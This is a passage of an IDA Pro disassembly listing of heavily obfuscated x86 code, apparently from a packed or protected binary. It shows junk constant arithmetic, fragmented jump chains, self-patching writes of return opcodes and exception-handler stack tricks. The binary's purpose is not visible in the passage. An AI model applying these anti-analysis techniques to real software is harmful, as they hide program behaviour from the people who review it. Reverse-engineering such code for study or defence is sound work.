sub_752115	proc near		; CODE XREF: sub_7541BA-B4EDp
					; _0z4jwtox:0074C08Ej
		xchg	edx, [esp+0]
		pop	edx
		cmp	al, 0A4h
		jz	loc_746C1D
		jmp	loc_74E85A
sub_752115	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_752126:				; CODE XREF: sub_7544F1-8F5j
		push	1A6E02F1h
		pop	edi
		or	edi, 0A4257BADh
		js	loc_74E48F


loc_752138:				; CODE XREF: _0z4jwtox:00747B29j
		jmp	loc_74D139
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
		shr	ebp, 15h
		sbb	ecx, esi
		mov	[eax], ebp
		jmp	loc_74E489

; =============== S U B	R O U T	I N E =======================================



sub_752149	proc near		; CODE XREF: sub_74AE8E+7537p
					; _0z4jwtox:007560C3j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00756F8B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_756F8B
sub_752149	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_752155:				; DATA XREF: sub_749C06+Ao
		push	0C7DAF6E5h
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_75215A:				; CODE XREF: sub_7473D1:loc_74F9BBj
		pop	ebx
		rol	ebx, 17h
		sub	ebx, 3AC06615h
		rol	ebx, 0Bh
		jmp	loc_754AC1
; END OF FUNCTION CHUNK	FOR sub_7473D1

; =============== S U B	R O U T	I N E =======================================



sub_75216C	proc near		; DATA XREF: _0z4jwtox:0074A173o

; FUNCTION CHUNK AT 00754810 SIZE 00000005 BYTES

		mov	eax, [eax]
		push	offset sub_74EF6C
		jmp	loc_754810
sub_75216C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7564D5


loc_752179:				; CODE XREF: sub_7564D5+12j
		jmp	loc_750F13
; END OF FUNCTION CHUNK	FOR sub_7564D5
; ---------------------------------------------------------------------------


loc_75217E:				; CODE XREF: _0z4jwtox:00753AA3j
		jmp	sub_755103
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_752183:				; CODE XREF: sub_748B44+79CCj
		jmp	loc_74CD8F
; END OF FUNCTION CHUNK	FOR sub_748B44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_752188:				; CODE XREF: sub_745A78+E666j
		ja	loc_7526E9
		not	edx
		xchg	edx, eax


loc_752192:				; CODE XREF: sub_745A78:loc_746969j
					; _0z4jwtox:0074EF80j ...
		jmp	loc_750CC8
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
		jmp	loc_753CFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_75219C:				; CODE XREF: sub_74946E+9E2j
		jz	loc_756890
		jmp	loc_74C06C
; END OF FUNCTION CHUNK	FOR sub_74946E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_229. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS	KEYPAD "+" TO EXPAND]
		db 89h,	46h, 6
		dd 4870000h, 58D08B24h,	0E924048Bh, 0FFFF9C9Fh,	7E698C68h
		dd 79F4E93Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75043C


loc_7521C6:				; CODE XREF: sub_75043C+33B8j
		mov	eax, [eax]
		jmp	loc_755236
; ---------------------------------------------------------------------------


loc_7521CD:				; CODE XREF: sub_75043C:loc_7537CDj
					; sub_75043C+339Aj ...
		xor	ebx, ebx


loc_7521CF:				; CODE XREF: _0z4jwtox:loc_7455F7j
					; _0z4jwtox:0074833Cj
		call	sub_74A051
; END OF FUNCTION CHUNK	FOR sub_75043C
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_7521D4:				; CODE XREF: sub_7535F0-B6ABj
		xchg	edi, [esp+4+var_4]
		call	sub_750C4E
		push	0D3BCC629h
		pop	eax
		and	eax, 931CDD61h
		jmp	loc_752BE5
; END OF FUNCTION CHUNK	FOR sub_7535F0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_253. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_7521EE:				; CODE XREF: _0z4jwtox:00756D0Cj
		jmp	locret_747BAF
; ---------------------------------------------------------------------------


loc_7521F3:				; CODE XREF: _0z4jwtox:0074AD47j
		jmp	nullsub_17
; ---------------------------------------------------------------------------


loc_7521F8:				; CODE XREF: _0z4jwtox:007470A0j
		jmp	nullsub_279
; ---------------------------------------------------------------------------


loc_7521FD:				; CODE XREF: _0z4jwtox:00753562j
		jmp	ds:dword_41F164
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_752203:				; CODE XREF: sub_747736+9475j
		jmp	loc_752D8B
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FF79


loc_752208:				; CODE XREF: sub_74FF79+10j
		jmp	loc_753BF6
; END OF FUNCTION CHUNK	FOR sub_74FF79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_75220D:				; CODE XREF: sub_74BFE0+1099j
		jmp	loc_74B5B8
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
		db 84h
		dd 0FFFF9D75h, 24048B5Ah, 69EBE852h, 60E9FFFFh,	0F000017h
		dd 0FFF12681h, 0E088E9FFh
		db 2 dup(0FFh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_21. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748BBE


loc_752233:				; CODE XREF: sub_748BBE+C653j
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_748BBE
; ---------------------------------------------------------------------------
		mov	ebx, ebp
		jmp	sub_74F7C0
; ---------------------------------------------------------------------------


loc_75223F:				; CODE XREF: _0z4jwtox:00753C3Cj
		jle	loc_75089C
		sub	ecx, edx
		jmp	loc_7578AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756B35


loc_75224C:				; CODE XREF: sub_756B35:loc_756AF2j
		lea	eax, sub_74CBB7
		mov	byte ptr [eax],	0C3h
; END OF FUNCTION CHUNK	FOR sub_756B35
; START	OF FUNCTION CHUNK FOR sub_748538


loc_752255:				; CODE XREF: sub_748538:loc_74F776j
		jmp	sub_74CBB7
; END OF FUNCTION CHUNK	FOR sub_748538
; ---------------------------------------------------------------------------
		call	nullsub_184
		jmp	ds:dword_41F188
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_184. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jns	loc_75559D
		jmp	loc_74FDA4
; ---------------------------------------------------------------------------


loc_752271:				; CODE XREF: _0z4jwtox:loc_751508j
		push	offset sub_7459BC
		jmp	loc_756D73
; ---------------------------------------------------------------------------


loc_75227B:				; CODE XREF: _0z4jwtox:loc_749349j
		push	edx
		push	6D18356Eh
		pop	edx
		add	edx, 71FDBDDBh
		rol	edx, 0Ch
		and	edx, 0B46ED295h
		xor	edx, 8CED9C5Fh
		add	edx, 6778E442h
		jmp	loc_74D978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75364C


loc_7522A2:				; CODE XREF: sub_75364C:loc_753406j
		jl	loc_745B54
; END OF FUNCTION CHUNK	FOR sub_75364C
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_7522A8:				; CODE XREF: sub_7452F3+A15Fj
		jmp	loc_74AB64
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------


loc_7522AD:				; CODE XREF: _0z4jwtox:00746542j
		jmp	locret_745FF7
; ---------------------------------------------------------------------------
		test	ebx, 0B4C03C23h
		jmp	loc_748E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BFE0


loc_7522BD:				; CODE XREF: sub_74BFE0+Cj
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jo	loc_757418
		sub	al, 99h
		mov	edx, [ebp+var_4]
		imul	byte ptr [edx]
		jmp	loc_755D51
; END OF FUNCTION CHUNK	FOR sub_74BFE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_7522D4:				; CODE XREF: sub_746640+D027j
		xor	ecx, 2FFE9592h
		sub	ecx, 4D301570h
		add	ecx, 14DEC4D4h
		add	ecx, ebp
		add	ecx, 0A321891Fh
		mov	ecx, [ecx]
		add	eax, ecx
		jmp	loc_7457EC
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752DF2


loc_7522F7:				; CODE XREF: sub_752DF2:loc_753CA1j
		pushf
		jmp	loc_74E3E1
; END OF FUNCTION CHUNK	FOR sub_752DF2
; ---------------------------------------------------------------------------


loc_7522FD:				; CODE XREF: _0z4jwtox:0074EA24j
		jnb	loc_751FC1
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_752303:				; CODE XREF: sub_74FE55:loc_748679j
		call	sub_74D823


loc_752308:				; CODE XREF: _0z4jwtox:0075692Dj
		jmp	loc_74EFE5
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------

locret_75230D:				; CODE XREF: _0z4jwtox:00754A4Ej
		retn
; ---------------------------------------------------------------------------


loc_75230E:				; CODE XREF: _0z4jwtox:00745E4Cj
		jmp	loc_74CF40
; ---------------------------------------------------------------------------


loc_752313:				; CODE XREF: _0z4jwtox:00745368j
		cmp	dword ptr [ebp-8], 0
		jnz	loc_755F15
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_75231D:				; CODE XREF: sub_74FAD6j
					; sub_74A71A+B7F5j
		jb	loc_74B1D5
		push	offset loc_745373
		jmp	nullsub_170
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_75232D:				; CODE XREF: sub_75051C+1E57j
		call	sub_750F2E
; END OF FUNCTION CHUNK	FOR sub_75051C
; START	OF FUNCTION CHUNK FOR sub_7523A2


loc_752332:				; CODE XREF: sub_7523A2+6j
		jmp	loc_756546
; END OF FUNCTION CHUNK	FOR sub_7523A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75565F


loc_752337:				; CODE XREF: sub_75565F:loc_75530Fj
		rol	ebx, 15h
		xor	ebx, 48DCC3C7h
		add	ebx, ebp
		add	ebx, 0CA4C43C2h
		mov	ebx, [ebx]
; END OF FUNCTION CHUNK	FOR sub_75565F
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75234A:				; CODE XREF: sub_747C22:loc_74ED1Ej
		jmp	loc_7560D3
; END OF FUNCTION CHUNK	FOR sub_747C22
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_42. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_752350:				; CODE XREF: _0z4jwtox:00751EACj
		jmp	loc_7539E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752F76


loc_752355:				; CODE XREF: sub_752F76-767Bj
		jmp	nullsub_251
; END OF FUNCTION CHUNK	FOR sub_752F76
; ---------------------------------------------------------------------------


loc_75235A:				; CODE XREF: _0z4jwtox:0074B375j
		jmp	sub_75375E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74ECEF


loc_75235F:				; CODE XREF: sub_74ECEF-6965j
		jmp	loc_74A1DD
; END OF FUNCTION CHUNK	FOR sub_74ECEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_752364:				; CODE XREF: sub_75051C:loc_75344Bj
		xchg	esi, [esp+14h+var_14]
		mov	edx, esi
		pop	esi
		mov	eax, [esp+10h+var_10]
		push	edx
		call	sub_748C0D
		jmp	loc_75232D
; END OF FUNCTION CHUNK	FOR sub_75051C
; ---------------------------------------------------------------------------


loc_752378:				; DATA XREF: sub_746BBA+7o
		mov	esp, [esp+8]
; START	OF FUNCTION CHUNK FOR sub_754729


loc_75237C:				; CODE XREF: sub_754729:loc_7495F0j
					; sub_754729-B12Ej ...
		xor	eax, eax


loc_75237E:				; CODE XREF: sub_754729-B126j
		pop	large dword ptr	fs:0
		pop	edx
		jmp	loc_74FA5B
; END OF FUNCTION CHUNK	FOR sub_754729
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E451


loc_75238B:				; CODE XREF: sub_74E451:loc_757054j
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		mov	edx, [ebp+8]
		mov	[edx-18h], eax


loc_752397:				; CODE XREF: sub_74E451+4CABj
		inc	dword ptr [ebp-4]
		mov	eax, [ebp+8]
		jmp	loc_751F3D
; END OF FUNCTION CHUNK	FOR sub_74E451

; =============== S U B	R O U T	I N E =======================================



sub_7523A2	proc near		; CODE XREF: sub_7465EE+4p
					; sub_7523A2:loc_74BBB9j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00748822 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 007496E7 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0074BB28 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074BBB9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00750656 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00752332 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756546 SIZE 0000002A BYTES

		xchg	ebp, [esp+0]
		push	ebp
		pop	edx
		pop	ebp
		jmp	loc_752332
sub_7523A2	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_274. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756A7E


loc_7523AE:				; CODE XREF: sub_756A7E+Bj
		jmp	loc_7530C9
; END OF FUNCTION CHUNK	FOR sub_756A7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748D38


loc_7523B3:				; CODE XREF: sub_748D38+3A33j
		jmp	loc_74556D
; END OF FUNCTION CHUNK	FOR sub_748D38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE8E


loc_7523B8:				; CODE XREF: sub_74AE8E+9j
		pop	ecx
		and	ecx, 0C44EACEh
		add	ecx, 0FC35473Fh
		call	sub_752149


loc_7523CA:				; CODE XREF: _0z4jwtox:0074FC25j
		jmp	loc_74C980
; END OF FUNCTION CHUNK	FOR sub_74AE8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B305


loc_7523CF:				; CODE XREF: sub_74B305+E00j
		jmp	loc_753727
; END OF FUNCTION CHUNK	FOR sub_74B305
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_745A78


loc_7523D4:				; CODE XREF: sub_745A78+3D4Cj
		jmp	sub_75622B
; END OF FUNCTION CHUNK	FOR sub_745A78
; ---------------------------------------------------------------------------
		push	638B21ECh
		pop	eax
		rol	eax, 8
		test	eax, 1000000h
		jmp	loc_750544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_7523ED:				; CODE XREF: sub_7543C5:loc_7450ECj
					; _0z4jwtox:00746348j
		and	edi, 7CF38078h
		cmp	esi, 7CD4A0Bh
		jmp	loc_74F9D3
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7515AA


loc_7523FE:				; CODE XREF: sub_7515AA:loc_74FA79j
		jz	loc_756E30
; END OF FUNCTION CHUNK	FOR sub_7515AA
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_752404:				; CODE XREF: sub_74A71A-4E0Ej
		jmp	loc_746AF3
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------
		ja	loc_746513
		jmp	loc_74EAB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_752414:				; CODE XREF: sub_74FE55+353j
		xor	eax, 7A377ECAh
		add	eax, 0C8648C1Dh
		add	eax, ebp
		add	eax, 54F7BFDFh
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_750866
		jmp	loc_7482A4
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------


loc_752438:				; DATA XREF: sub_747C0C+38D7o
		mov	eax, [esp]
		call	sub_74CA1D
; START	OF FUNCTION CHUNK FOR sub_7545C6


loc_752440:				; CODE XREF: sub_7545C6-BC8Bj
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_7545C6
; ---------------------------------------------------------------------------


loc_752445:				; CODE XREF: _0z4jwtox:loc_757513j
		add	ebx, 304A01C2h
		mov	[ebx], eax
		call	sub_748E68
; START	OF FUNCTION CHUNK FOR sub_75740D


loc_752452:				; CODE XREF: sub_75740D-69D3j
		jmp	nullsub_244
; END OF FUNCTION CHUNK	FOR sub_75740D
; ---------------------------------------------------------------------------


loc_752457:				; CODE XREF: _0z4jwtox:00747C6Dj
		pop	ecx
		lea	eax, nullsub_184
		mov	byte ptr [eax],	0C3h
		jmp	loc_74B901
; ---------------------------------------------------------------------------
		call	nullsub_275
		jmp	loc_74858B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_752470:				; CODE XREF: sub_74AAC1+6409j
		lea	eax, loc_74B4DC
		mov	byte ptr [eax],	0C3h
		jmp	loc_751409
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_75247E	proc near		; CODE XREF: .text:00415EB0p
					; sub_41AF6F+59p
					; DATA XREF: ...

; FUNCTION CHUNK AT 00752EF8 SIZE 0000000D BYTES

		call	sub_7543C5


loc_752483:				; CODE XREF: sub_7450FC+Aj
		jmp	loc_752EF8
sub_75247E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_752488:				; CODE XREF: _0z4jwtox:loc_745947j
					; sub_752D11-A4A5j
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_7510BB
		jmp	loc_74E43B
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_752497:				; CODE XREF: sub_747C22+43FDj
		sbb	eax, edx
		xor	edi, 1E8D8688h


loc_75249F:				; CODE XREF: sub_753FCE:loc_7472FBj
		jmp	loc_7559C3
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75275A


loc_7524A4:				; CODE XREF: sub_75275A-5170j
		js	loc_74725C


loc_7524AA:				; CODE XREF: sub_75275A:loc_74DB30j
		lea	eax, [ebp-12Dh]
		push	edi
		mov	edi, eax
		xchg	edi, [esp+4+var_4]
		push	offset sub_7476A3
		jmp	nullsub_180
; END OF FUNCTION CHUNK	FOR sub_75275A
; ---------------------------------------------------------------------------
		and	edx, 7698C670h
		jmp	loc_752998
; ---------------------------------------------------------------------------


loc_7524CB:				; CODE XREF: _0z4jwtox:0074741Fj
		jl	loc_7558DA
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_7524D1:				; CODE XREF: sub_74946E:loc_7477E9j
		sub	edi, 4AD5CC85h
		xor	edi, 4BD2A115h


loc_7524DD:				; CODE XREF: _0z4jwtox:loc_74F1CCj
		and	edi, 3CFB6321h
		add	edi, 538F9793h
		sub	eax, edi
		pop	edi
		jmp	loc_749E28
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755F42


loc_7524F1:				; CODE XREF: sub_755F42:loc_752000j
		pop	edi
		or	edi, 77A3778Fh
		add	edi, 0F757A55Dh
		xor	edi, 51CBCCF3h
		and	edi, 33DCCD8Bh
		add	edi, 0DD75A941h
		mov	[edi], eax
		pop	edi
		jmp	loc_7458B0
; END OF FUNCTION CHUNK	FOR sub_755F42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_752519:				; CODE XREF: _0z4jwtox:0074735Aj
		jmp	nullsub_15
; ---------------------------------------------------------------------------


loc_75251E:				; CODE XREF: _0z4jwtox:0074C04Ej
		xor	ebx, eax

; =============== S U B	R O U T	I N E =======================================



sub_752520	proc near		; CODE XREF: sub_74BF3A+8C7Ap

; FUNCTION CHUNK AT 00747300 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00748ADC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074C499 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074D18A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EDDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074FE00 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075496F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00755938 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00756FCB SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		jmp	loc_74D18A
sub_752520	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_280. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7577AC


loc_75252C:				; CODE XREF: sub_7577AC-BAFj
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7577AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750B49


loc_752531:				; CODE XREF: sub_750B49+Ej
		jmp	sub_7467F4
; END OF FUNCTION CHUNK	FOR sub_750B49
; ---------------------------------------------------------------------------


loc_752536:				; DATA XREF: sub_74B3EB-989o
		add	esi, 7019D180h
		mov	[esi], eax
		pop	esi
		lea	eax, loc_751388
		jmp	loc_7549CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_75254A:				; CODE XREF: sub_74B1F1+59FCj
		and	esi, edx
		pushf
		and	edx, esi
		jmp	loc_748A52
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C8DA


loc_752554:				; CODE XREF: sub_74C8DA:loc_753957j
		mov	[edx], ecx
		pop	edx
		mov	[ebp-6], dx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_7575E8
; END OF FUNCTION CHUNK	FOR sub_74C8DA
; ---------------------------------------------------------------------------


loc_752565:				; CODE XREF: _0z4jwtox:00748697j
		jns	loc_75125B
		mov	eax, [esp]
		push	edx
		call	sub_74DAAF
		mov	eax, 4AC5B528h
		jmp	loc_74A013
; ---------------------------------------------------------------------------
		mov	eax, 19EDC823h
; START	OF FUNCTION CHUNK FOR sub_7514AC


loc_752583:				; CODE XREF: sub_7514AC:loc_754064j
		push	esi
		push	0FA23BC6Dh
		pop	esi
		sub	esi, 7CFE0B3Dh
		rol	esi, 1Dh
		add	esi, 0F0D006DCh
		jmp	loc_747B6E
; END OF FUNCTION CHUNK	FOR sub_7514AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_75259E:				; CODE XREF: sub_74CBB7:loc_7573E6j
		and	ecx, 0CFCCD4D3h
		add	ecx, 0FC2C6528h
		xchg	ecx, [esp+0]
		jmp	loc_74D622
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7564A7


loc_7525B2:				; CODE XREF: sub_7564A7:loc_7564B6j
		jl	loc_755F5A
; END OF FUNCTION CHUNK	FOR sub_7564A7
; START	OF FUNCTION CHUNK FOR sub_74B1F1


loc_7525B8:				; CODE XREF: sub_74B1F1-46D2j
		jmp	loc_750BE7
; END OF FUNCTION CHUNK	FOR sub_74B1F1
; ---------------------------------------------------------------------------
		mov	edi, [ebp+0]
; START	OF FUNCTION CHUNK FOR sub_74A7D8


loc_7525C0:				; CODE XREF: sub_74A7D8:loc_7539C0j
		mov	ebp, edi
		jmp	loc_755F58
; END OF FUNCTION CHUNK	FOR sub_74A7D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750715


loc_7525C7:				; CODE XREF: sub_750715:loc_74AA72j
		mov	ebp, edx
		xchg	ebp, [esp+0]
		call	sub_7570B1
		mov	eax, 0F26FE81Bh
		push	edi
		jmp	loc_745C43
; END OF FUNCTION CHUNK	FOR sub_750715
; ---------------------------------------------------------------------------


loc_7525DC:				; CODE XREF: _0z4jwtox:0074E6D2j
		jnb	loc_74CBD2
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7525E2:				; CODE XREF: sub_747736:loc_74D4A4j
		and	ebx, 8878386Ah
		jnz	loc_750374
		rol	edi, 0Ch
		jmp	loc_75036E
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_7525F6:				; CODE XREF: sub_748723+AF6j
		and	edx, 0F0356444h


loc_7525FC:				; CODE XREF: sub_748723:loc_749210j
		add	eax, 2673FF9Dh
		call	sub_7558BD


loc_752607:				; CODE XREF: _0z4jwtox:0075611Ej
		mov	[ebp+0], edx
		sub	ecx, ebp
		jmp	loc_74645D
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7570B1


loc_752611:				; CODE XREF: sub_7570B1:loc_75704Ej
					; _0z4jwtox:00757066j
		rol	edx, 2
		xor	edx, 0E0FE2094h
		add	edx, 84793AC7h
		add	edx, ebp
		add	edx, 811F2FE6h
		mov	[edx], eax
		pop	edx
		push	28BA6BAh
		jmp	loc_74D61D
; END OF FUNCTION CHUNK	FOR sub_7570B1
; ---------------------------------------------------------------------------


loc_752635:				; CODE XREF: _0z4jwtox:0074B682j
		mov	edi, 3A989ACAh

; =============== S U B	R O U T	I N E =======================================



sub_75263A	proc near		; CODE XREF: sub_74A47B+7BB3p

; FUNCTION CHUNK AT 00745E8A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 007482D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00753EFB SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		pop	ecx
		jmp	loc_753EFB
sub_75263A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A71A


loc_752644:				; CODE XREF: sub_74A71A:loc_748FD6j
		test	byte ptr [ebp-8], 2
		jz	loc_7482D4
		push	ebp
		jmp	loc_756E7E
; END OF FUNCTION CHUNK	FOR sub_74A71A
; ---------------------------------------------------------------------------


loc_752654:				; CODE XREF: _0z4jwtox:loc_756E63j
		add	ebp, 5CE27CC3h

; =============== S U B	R O U T	I N E =======================================



sub_75265A	proc near		; CODE XREF: _0z4jwtox:0075634Dp

; FUNCTION CHUNK AT 0074F74C SIZE 00000006 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		add	ecx, 2E3E3FAAh
		jmp	loc_74F74C
sub_75265A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7535F0


loc_752669:				; CODE XREF: sub_7535F0:loc_75456Cj
		push	37E1654Dh
		pop	edi
		sub	edi, 464F92D8h
		and	edi, 0DA33F5D0h
		cmp	edi, 0B8941B8Bh
		jmp	loc_74CDC8
; END OF FUNCTION CHUNK	FOR sub_7535F0
; ---------------------------------------------------------------------------
		mov	ds:dword_41F0DC, eax
		push	offset sub_755076
		jmp	loc_74663B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_752696:				; CODE XREF: sub_752C44+3660j
		mov	ecx, ebp
		not	eax


loc_75269A:				; CODE XREF: sub_752C44:loc_7464ACj
		push	0AFBF5E09h
		xchg	ebx, [esp+4+var_4]
		mov	eax, ebx
		jmp	loc_754931
; END OF FUNCTION CHUNK	FOR sub_752C44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_7526A9:				; CODE XREF: sub_74AAC1+8079j
		js	loc_756802
		ror	eax, 2
		sub	eax, 61B047D3h
		push	esi
		push	0BE2CED9Ah
		pop	esi
		jmp	loc_75460E
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753FCE


loc_7526C4:				; CODE XREF: sub_753FCE-8723j
		and	ebx, esi
		add	ecx, 3F7DAE6Ah


loc_7526CC:				; CODE XREF: sub_753FCE:loc_749E71j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_747300
		jmp	loc_750785
; END OF FUNCTION CHUNK	FOR sub_753FCE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_7526DD:				; CODE XREF: sub_75622B-DBC4j
		rol	ecx, 11h
		add	ecx, 7579EF80h
		mov	[ecx], eax
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_75622B
